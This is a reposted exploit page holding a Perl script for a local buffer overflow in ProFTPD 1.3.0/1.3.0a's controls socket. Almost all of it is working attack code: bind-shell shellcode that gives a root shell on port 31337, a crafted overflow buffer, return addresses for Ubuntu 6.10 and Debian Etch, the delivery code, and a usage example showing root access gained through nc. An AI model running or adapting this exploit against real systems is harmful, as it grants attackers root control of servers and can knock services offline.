ProFTPD 1.3.0/1.3.0a (mod_ctrls support) Local Buffer Overflow Exploit 2

Feb 21 2007 09:42:44
Source: ace

-1

#!/usr/bin/perl -w

#

# $Id: revenge_proftpd_ctrls_26.pl, v1.1 2007/02/18 19:30:25 revenge Exp $

#

# ProFTPD v1.3.0/1.3.0a Controls Buffer Overflow Exploit

#

# Original Advisory :

# http://www.coresecurity.com/?action=item&id=1594

#

# [ Exploitation condition ]

# - proftpd must be compiled with --enable-ctrls option

# - local user needs permission to connect through unix socket (from proftpd.conf)

#

# This one works for 2.6 exploitation against gcc 4.x

# Payload will bind /bin/sh on port 31337 with ( uid && gid = 0 )

# I was able to use only a <bind_shell> as payload since a normal (setuid + execve) seems that doesn't work

#

# Tested against:

# - ProFTPD 1.3.0/1.3.0a on Ubuntu 6.10 compiled with gcc 4.1.2

# - ProFTPD 1.3.0/1.3.0a on Debian Etch(4.0.2-5) compiled with gcc 4.0.3

# *** Against v1.3.0a -- server *could* remain up (in a Denial of Service condition) without binding shell

#

# revenge@eleusi~$ ./revenge_proftpd_ctrls.pl /usr/local/var/proftpd/proftpd.sock 1

# [ wait some secs then nc on port 31337 ]

# anyone@anywhere:~$ nc <host> 31337

# id

# uid=0(root) gid=0(root) groups=65534(nogroup)

# exit

# [ after that server will deactivate ]

#

# See also : http://www.0xcafebabe.it/sploits/revenge_proftpd_ctrls_24.pl

#

# Alfredo "revenge" Pesoli

#

# http://www.0xcafebabe.it/

# <revenge@0xcafebabe.it>

#

use strict;

use Socket;

if ( @ARGV < 2 ) { &usage(); }

my $hellcode =

# *** Generated with libShellCode

# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80".

"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80".

"\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1".

"\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd".

"\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3".

"\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88".

"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d".

"\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

my $rsock = shift;

my $tn = shift;

my $ret;

my $req;

if ( $tn == '1' ) { $req = "A"x512; }

else { $req = "A"x520; }

use constant LSOCK => '/tmp/tmp.sock';

use constant CANARY => "\0\0\x0a\xff";

use constant JUNK => "AAAAaaaaAAAAaaaa";

my %targets = (

'1' => "\x77\xe7\xff\xff", # Ubuntu 6.10

'2' => "\x77\xe7\xff\xff" # Debian Etch 4.0.2-5

# Add here your target RET

);

my %tname = (

'1' => "Ubuntu 6.10",

'2' => "Debian Etch 4.0.2-5"

);

$ret = $targets{$tn};

my $buffer = $req.CANARY.JUNK.$ret.$hellcode;

my $l = length($buffer);

socket (SOCK, PF_UNIX, SOCK_STREAM, 0) or die "Unable to create socket : $!";

my $rfile = sockaddr_un($rsock);

unlink LSOCK;

my $lfile = sockaddr_un(LSOCK);

bind (SOCK, $lfile) or die "Unable to bind to $lfile";

chmod (00700, LSOCK);

connect (SOCK, $rfile) or die "\nUnable to connect to ".$rsock."\nMaybe server is down or incorrect path\n\n";

print "\n Buffer length => ".$l."\n";

print " Target => ".$tname{$tn}."\n";

send SOCK, pack("s2", 0),0;

send SOCK, pack("s2", 1,0),0;

send SOCK, pack("C", 188).pack("C",2).pack("s1",0),0;

send SOCK, $buffer,0;

close SOCK;

print "\n [#] Request sent - try to connect on port 31337\n\n";

sub usage() {

print "\n ProFTPD 1.3.0/1.3.0a Controls Buffer Overflow\n";

print " Alfredo \"revenge\" Pesoli\n";

print " <revenge\@0xcafebabe.it>\n\n";

print "Usage : $0 <path_to_unix_socket> <target>\n";

print " Ex : $0 /usr/local/var/proftpd/proftpd.sock 1\n";

print "\n Available Targets :\n";

print " 1 => 0xffffe777 (Ubuntu 6.10 - EIP after 532 bytes)\n";

print " 2 => 0xffffe777 (Debian Etch 4.0.2-5 - EIP after 540 bytes)\n\n";

exit();

}

» full story @ source-link: ace

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